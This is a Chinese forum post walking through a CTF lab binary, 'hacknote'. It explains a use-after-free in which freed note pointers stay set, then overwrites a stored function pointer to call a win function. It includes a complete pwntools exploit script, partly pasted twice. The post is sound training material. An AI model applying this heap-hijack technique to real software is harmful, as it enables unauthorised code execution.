-
-
[原创]Use-after-free之lab 10 hacknote
-
发表于: 2021-6-12 11:10 14939
-
整明白之后才能明白这道题有多简单,花了我两天时间啊!!!
自己的基础知识积累真的不够 
看看主函数啊
输入 1 进入 add_note()
输入 2 进入del_note()
输入 3 进入print_note()
简单分析一下
add_note() 
首先看看这个notelist[]
我当时也是懵了好久不知道是这是个啥
为啥里面还有put,content
这其实是个结构体指针数组,也就是说这个数组里面放的是结构体的指针,双击一下put或者content就知道了 
这个函数的大致意思就是先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
第一次申请的8byte的chunk0的put处存放print_note_content函数地址
content处存放第二次申请的chunk1的地址
我们后面写内容是往第二次申请的chunk1中填写的
假设我们申请了一个32byte的chunk1,往里面填写'aaaa',最终会达到这样一个效果
接下来我们看del_note() 
free掉了chunk0和chunk1
但是我们注意这里没有将notelist[i]里面的存放的指针设置为NULL
这也就导致虽然我们free掉了这两块chunk,但我们仍然可以对其原来所在的地址空间进行操作。
因此就会造成use_after_free
究竟怎样利用,我们先往后看
print_note() 
打印函数,通过chunk0处存放的函数指针(print_note_content)打印content
其次,这里面还有一个函数值得关注magic()
话不多说,我们开始写jio本
我们先申请两个相同字节的chunk
note0和note1
然后全都free掉
chunk,注意不能是8byte,原因后面会说
例如我们申请32byte的 
free掉之后我们看看fastbin
因为我的pwndbg出现了一点问题(fastbin查不到),所以我在这给大家手画一个
大概是这个样子
如果这个时候我们再申请一个8字节大小的chunk会怎么样呢
答案是首先原本的note1的chunk0会被当成新的chunk0,而原本的note0的chunk0会被当成新的chunk1
这时如果我们向新的chunk1中填写数据,则相当于将note0的chunk0更改了
例如我们这样
则note0的chunk0会变成这样 
此时我们再执行print_note()就会执行magic函数
如果我们之前申请的note0和note1的chunk1大小是8byte那么fastbin就不会像上面那样排列了,所以不能是8byte


完整的exp:
如有不正确的地方,还请师傅们提出来
大家有什么问题也可以问我呀
懂我意思嘛,我向你敬礼啊!~
from pwn import *
sh=process('./hacknote')
elf=ELF('./hacknote')
def malloc(size,content):
sh.recvuntil('choice :')
sh.sendline('1')
sh.recvuntil('size :')
sh.sendline(str(size))
sh.recvuntil('Content :')
sh.sendline(content)
def free(idx):
sh.recvuntil('choice :')
sh.sendline('2')
sh.recvuntil('Index :')
sh.sendline(str(idx))
def printf(idx):
sh.recvuntil('choice :')
sh.sendline('3')
sh.recvuntil("Index :")
sh.sendline(str(idx))
malloc(32,'aaaa') #note0
malloc(32,'aaaa') #note1
free(0)
free(1)
magic_addr=0x08048986
malloc(0x8,p32(magic_addr))
printf(0)
sh.interactive()from pwn import *
sh=process('./hacknote')
elf=ELF('./hacknote')
def malloc(size,content):
sh.recvuntil('choice :')
sh.sendline('1')
sh.recvuntil('size :')
sh.sendline(str(size))
sh.recvuntil('Content :')
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [求助]新手学Windows求助 7721
- [原创]ciscn_2019_es_2栈转移 27665
- [原创]关于payload中为什么有虚假地址 8739
- [原创]Use-after-free之lab 10 hacknote 14940